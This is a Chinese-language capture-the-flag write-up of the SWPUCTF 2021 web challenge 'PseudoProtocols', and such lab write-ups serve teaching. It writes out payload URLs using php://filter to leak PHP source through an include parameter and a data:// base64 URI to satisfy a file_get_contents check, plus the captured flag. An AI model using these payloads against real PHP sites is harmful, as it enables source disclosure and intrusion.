[SWPUCTF 2021 新生赛]PseudoProtocols

发布时间 2023-07-23 21:56:33作者: y0Zero

[SWPUCTF 2021 新生赛]PseudoProtocols

题目来源:nssctf

题目类型:web

涉及考点:PHP伪协议

1. 先看题目,给了一个提示

要我们找hint.php,我们直接修改url:http://node2.anna.nssctf.cn:28069/hint.php

发现页面空白无回显,这时候想到了使用PHP伪协议让其base64编码输出:

http://node2.anna.nssctf.cn:28069/index.php?wllm=php://filter/read=convert.base64-encode/resource=hint.php

有关PHP伪协议见:[ACTF2020 新生赛]Include

得到hint.php源码的base64编码

解码之后如下:

需要我们查看test2222222222222.php,这里不需要使用伪协议,直接修改url即可:

显然接下来就是代码审计了

2. 代码审计

<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?>

关键点在于file_get_contents($a,'r'),简单介绍一下:

file_get_contents() 把整个文件读入一个字符串中。即,这个函数会将文件内容以字符串形式输出,'r' 表示只读

那么我们关键需要让 $a 所表示的文件的内容存放 I want flag ,这怎么做到呢?这里就需要介绍另一个PHP伪协议了:

data://
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输
示例:
http://127.0.0.1/include.php?file=data://text/plain;base64,xxxx(base64编码)

因此我们先将 I want flag 进行base64编码:

最终我们构造payload:

http://node2.anna.nssctf.cn:28069/test2222222222222.php?a=data://text/plain;base64,SSB3YW50IGZsYWc=

得到flag:

NSSCTF{8055bfb8-1847-4000-8834-5f42eb311025}

日期:2023.7.23

作者:y0Zero